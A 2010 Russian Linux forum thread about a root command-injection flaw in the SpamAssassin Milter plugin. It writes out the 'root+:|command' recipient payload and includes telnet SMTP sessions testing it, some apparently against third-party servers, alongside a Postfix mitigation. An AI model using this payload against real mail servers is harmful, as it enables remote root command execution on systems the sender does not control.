LINUX.ORG.RU — Русская информация об ОС Linux

[#]  
Sun-ch

Критическая уязвимость в SpamAssassin Milter Plugin

Уязвимость позволяет выпонить любой код на сервере с root. Для этого достаточно отравить письмо в поле "rcpt to" находится строка "root+:|команда"). Например - "root+:poweroff". Проблема касается абсолютно всех MTA поддерживающих milter.

>>> Подробности

Sun-ch # (19.03.2010 17:52:26)
Проверено: hibou (19.03.2010 18:13:26)
Juick

[#]  

решето

voltaren * (19.03.2010 18:05:00)
[#]  
shaplov

Это не уязвимость... Это Бэкдор...

shaplov ** (19.03.2010 18:11:27)
[#]  
HighwayStar

ДЫРИЩЕ

HighwayStar **** (19.03.2010 18:15:30)
[#]  
Be-LucK

Всё равно не пользуюсь.

Be-LucK (19.03.2010 18:16:03)
[#] Ответ на: комментарий от shaplov 19.03.2010 18:11:27  

>Это не уязвимость... Это Бэкдор...

Правильнее сказать "недокументированная возможность".

anonymous (19.03.2010 18:18:19)
[#] Ответ на: комментарий от Be-LucK 19.03.2010 18:16:03  

> Всё равно не пользуюсь.

А какой у вас маил?)))

shaplov> Это не уязвимость... Это Бэкдор...

Однозначно бэкдор, интересно адреса, явки разработчиков известны.

Alesh (19.03.2010 18:20:07)
[#]  
bernd

по сравнению с IE просто фигня

bernd * (19.03.2010 18:20:43)
[#] Ответ на: комментарий от Alesh 19.03.2010 18:20:07  
Be-LucK

Размечтались=)

Be-LucK (19.03.2010 18:21:11)
[#] Ответ на: комментарий от Alesh 19.03.2010 18:20:07  
bernd

вас его использовать никто не заставлял. вы получили его как есть со всеми вытекающими. вот купите поддержку платную, тогда и выкабенивайтесь перед публикой, а так грызите бублик и не булькайте.

bernd * (19.03.2010 18:22:13)
[#]  
Igron

> Например - "root+:poweroff".

О, спасибо, сделал на двух серверах:

root+:/usr/bin/apt-get update
root+:/usr/bin/apt-get upgrade

И уязвимость пропала.

Igron ***** (19.03.2010 18:23:19)
[#]  
JB

херня. В правильно настроенном MTA такое не прокатит

JB ***** (19.03.2010 18:23:43)
[#]  
HighwayStar

у кого-нибудь работает?

HighwayStar **** (19.03.2010 18:24:27)
[#]  

Х--ссе..

anonymous (19.03.2010 18:25:02)
[#] Ответ на: комментарий от Igron 19.03.2010 18:23:19  
JB

> root+:/usr/bin/apt-get upgrade

не хочу тебя разочаровывать, но ты забыл ключик "-y" =)

JB ***** (19.03.2010 18:26:39)
[#]  
thesis

Восхитительно. Сейчас какой-нибудь спамер положит полмира.

thesis ** (19.03.2010 18:29:09)
[#] Ответ на: комментарий от thesis 19.03.2010 18:29:09  
ArtemZ

Я уже пытаюсь. Начал с серверов яндекса и гугла - пока не вышло

ArtemZ * (19.03.2010 18:30:47)
[#] Ответ на: комментарий от bernd 19.03.2010 18:22:13  

> вас его использовать никто не заставлял. вы получили его как есть со всеми вытекающими. вот купите поддержку платную, тогда и выкабенивайтесь перед публикой, а так грызите бублик и не булькайте.

Грызи бублик сам, я вообще не одмин и никокой маилсервер не юзаю.

И вообще мы тут шутим с БеЛуком, а ты вщемился в дискас. Какую-то поддержку платную предлагаешь купить. Тут тебе не рынок )))

Alesh (19.03.2010 18:32:05)
[#] Ответ на: комментарий от JB 19.03.2010 18:23:43  
Sun-ch

При чем тут МТА? какой-нибудь сендмыл сто лет уже как дропает рутовские привелегии при старте.

Sun-ch # (19.03.2010 18:32:53)
[#] Ответ на: комментарий от ArtemZ 19.03.2010 18:30:47  
thesis

Досадно. А как хотелось армагеддона.

thesis ** (19.03.2010 18:33:53)
[#] Ответ на: комментарий от thesis 19.03.2010 18:33:53  
Sun-ch

"Некоторые администраторы уже отметили наличие попыток эксплуатации данной уязвимости в логах, все ждут появление червя".

Sun-ch # (19.03.2010 18:35:38)
[#]  

Не работает

504 5.5.2 <root+:poweroff>: Recipient address rejected: need fully-qualified address

Как и было сказано выше - на нормально настроенном сервере работать не будет

anonymous (19.03.2010 18:37:01)
[#]  
RedPossum

вот это да. включу зелёную консоль и буду гордиться собой.

RedPossum *** (19.03.2010 18:37:31)
[#] Ответ на: комментарий от Sun-ch 19.03.2010 18:32:53  
JB

> При чем тут МТА? какой-нибудь сендмыл сто лет уже как дропает рутовские привелегии при старте.

при том, что письмо с кривым "rcpt to" вообще не должно попадать в очередь

Mar 19 19:12:28 razvitie63 postfix/smtpd[24730]: NOQUEUE: reject: RCPT from localhost.localdomain[127.0.0.1]: 550 5.1.1 <root+:|touch /tmp/test123>: Recipient address rejected: User unknown in virtual mailbox table; from=<artem@localhost> to=<root+:|touch /tmp/test123> proto=ESMTP helo=<razvitie63.ru>

JB ***** (19.03.2010 18:38:41)
[#] Ответ на: Не работает от anonymous 19.03.2010 18:37:01  
Sun-ch

| поставить забыл :). Я его сознательно пропустил, чтобы тупые дети не хулиганили.

Sun-ch # (19.03.2010 18:40:04)
[#] Ответ на: комментарий от JB 19.03.2010 18:38:41  
Sun-ch

Почитай как работает milter. Ошибка в плугине, и код выполняется в его контексте.

Sun-ch # (19.03.2010 18:41:53)
[#] Ответ на: комментарий от Sun-ch 19.03.2010 18:40:04  

Ни чего не изменилось

rctp to:root+:|poweroff 502 5.5.2 Error: command not recognized rcpt to:"root+:|poweroff" 504 5.5.2 <root+:|poweroff>: Recipient address rejected: need fully-qualified address

Тебе стоило обратить внимание на сообщение от сервера.

anonymous (19.03.2010 18:45:57)
[#]  
opensuse

вот это эпично...

opensuse * (19.03.2010 18:47:50)
[#]  

>Например - "root+:poweroff". Когда же вы выучите немецкий? Halt, ублюдки, halt.

anonymous (19.03.2010 18:49:46)
[#]  

Неужто spamd под рутом работает?

sdio ***** (19.03.2010 18:51:57)
[#] Ответ на: комментарий от JB 19.03.2010 18:38:41  
Sun-ch

$ nc localhost 25 220 ownthabox ESMTP Postfix (Ubuntu) mail from: me@me.com 250 2.1.0 Ok rcpt to: root+:"|touch /tmp/foo" 250 2.1.5 Ok

$ ls -la /tmp/foo -rw-r--r-- 1 root root 0 2010-03-07 19:46 /tmp/foo

http://securitytracker.com/alerts/2010/Mar/1023691.html

Sun-ch # (19.03.2010 18:52:09)
[#]  
ArtemZ

artemz@artemz-laptop:~$ telnet ***.ru 25 Trying *******... Connected to ******. Escape character is '^]'. 220 *********** ESMTP Sendmail 8.13.8/8.13.8; Fri, 19 Mar 2010 16:53:17 +0100 helo ddd.ru 250 server.wind-host.ru Hello, pleased to meet you mail from: mail@rambler.ru 250 2.1.0 mail@rambler.ru... Sender ok RCPT TO:<root+:|reboot> 250 2.1.5 <root+:|reboot>... Recipient ok DATA 354 Enter mail, end with "." on a line by itself sdasdasd . 250 2.0.0 o2JFrHlu008660 Message accepted for delivery

Connection closed by foreign host.

ОЛОЛОЛО!111

ArtemZ * (19.03.2010 18:56:11)
[#]  
Boy_from_Jungle

Начало Армагедона?!

Boy_from_Jungle ** (19.03.2010 18:58:31)
[#] Ответ на: комментарий от Sun-ch 19.03.2010 18:52:09  
JB

[(19:52):artem@razvitie63:~ ] telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 razvitie63.ru ESMTP Postfix (Debian/GNU)
mail from: artem@localhost
250 2.1.0 Ok
rcpt to: root+:"|touch /tmp/foobar123"
550 5.1.1 <root+:|touch /tmp/foobar123>: Recipient address rejected: User unknown in virtual mailbox table

[(19:53):artem@razvitie63:~ ] ls /tmp/foobar123
ls: невозможно получить доступ к /tmp/foobar123: Нет такого файла или каталога

и?

JB ***** (19.03.2010 18:58:56)
[#]  
fjfalcon

[fjfalcon@desktop ~]$ telnet * 25
Trying 8.8.8.8...
Connected to google.com.
Escape character is '^]'.
220 google.com ESMTP Postfix (Debian/GNU)
MAIL FROM: fjfalcon@fjfalcon.ru
250 2.1.0 Ok
RCPT TO:<root+:|reboot>
450 4.2.0 <root+:|reboot>: Recipient address rejected: Greylisted, see http://postgrey.schweikert.ch/help/root+:|reboot.html


это нормально?

fjfalcon * (19.03.2010 19:01:12)
[#]  
Hikaru

[root@layer hikaru]# telnet 192.168.1.250 25
Trying 192.168.1.250...
Connected to 192.168.1.250.
Escape character is '^]'.
220 ****.ru ESMTP Postfix (Debian/GNU)
Helo mail.example.com
250 ****.ru
mail from: abc@abc.ru
250 2.1.0 Ok
rcpt to: root+:"|touch /tmp/foo"
504 5.5.2 <root+:|touch /tmp/foo>: Recipient address rejected: need fully-qualified address

Неужто так трудно правильно настроить сервак?

Hikaru (19.03.2010 19:01:42)
[#]  
cetjs2

Решето.

cetjs2 * (19.03.2010 19:03:51)
[#] Ответ на: комментарий от fjfalcon 19.03.2010 19:01:12  
Hikaru

Нет

Отруби грейлистинг и посмотри что получится

Hikaru (19.03.2010 19:03:58)
[#] Ответ на: Нет от Hikaru 19.03.2010 19:03:58  
fjfalcon

врубил apt-get upgrade, сча отключу грейлистинг и гляну ;)

fjfalcon * (19.03.2010 19:07:14)
[#]  
SatanClaus

-x не ставьте хаскеры.

SatanClaus *** (19.03.2010 19:11:17)
[#]  
splinter

я валяюсь с таких уязвимостей... за это в морду бить надо!

splinter **** (19.03.2010 19:13:20)
[#]  

обычное дело для перловой программы чуть крупнее hello-world - обилие отладочных вставок, т.к. читать большинство перлового кода после второй страницы уже невозможно. так что это не бэкдор, а обычные пеловые костыли, случайно забытые строителями.

Momyc (19.03.2010 19:24:58)
[#] Ответ на: комментарий от fjfalcon 19.03.2010 19:07:14  
fjfalcon

[fjfalcon@desktop ~]$ telnet google.com 25
Trying 8.8.8.8...
Connected to google.com.
Escape character is '^]'.
220 google.com ESMTP Postfix (Debian/GNU)
mail from: me@me.ru
250 2.1.0 Ok
rcpt-to: root+:"|touch /tmp/foo"
221 2.7.0 Error: I can break rules, too. Goodbye.
Connection closed by foreign host.


после apt-get upgrade ;)

fjfalcon * (19.03.2010 19:31:52)
[#]  
abumbaher

В свете вышеизложенного вопрос. как скоро ляжет ЛОР ? Отправьте им уже "письмо счастья"

abumbaher * (19.03.2010 19:45:16)
[#]  

Блестяще. Я замер в восторге, ручки зачесались. Напомнило мне сендмыловское WIZ. Школота конечно не помнит...

anonymous (19.03.2010 19:46:40)
[#] Ответ на: комментарий от Momyc 19.03.2010 19:24:58  

Ололо. Еще один эксперт не писавший на преле программ сложнее указанного hello world.

anonymous (19.03.2010 19:50:20)
[#]  
isden

ох блин.. ну и решето..

isden ***** (19.03.2010 19:53:00)
[#]  
BSD

У меня нигде не сработало :(

BSD (19.03.2010 19:55:13)
[#]  
guyvernk

лол
решение

 smtpd_recipient_restriction =
...
        reject_non_fqdn_recipient,
        reject_unknown_recipient_domain,
        reject_unverified_recipient,
...

кидайте симпы :3

guyvernk (19.03.2010 20:04:01)
[#] Ответ на: комментарий от fjfalcon 19.03.2010 19:31:52  
Hikaru

Да уж, мне стоит быть внимательнее-) Хотя настроение ты мне поднял.

Hikaru (19.03.2010 20:06:12)
[#] Ответ на: комментарий от guyvernk 19.03.2010 20:04:01  

А я то думаю чего у меня нифига не получается...

Storm_ (19.03.2010 20:07:05)

О Сервере - Правила форума
http://www.linux.org.ru/

Rambler's Top100 Рейтинг@Mail.ru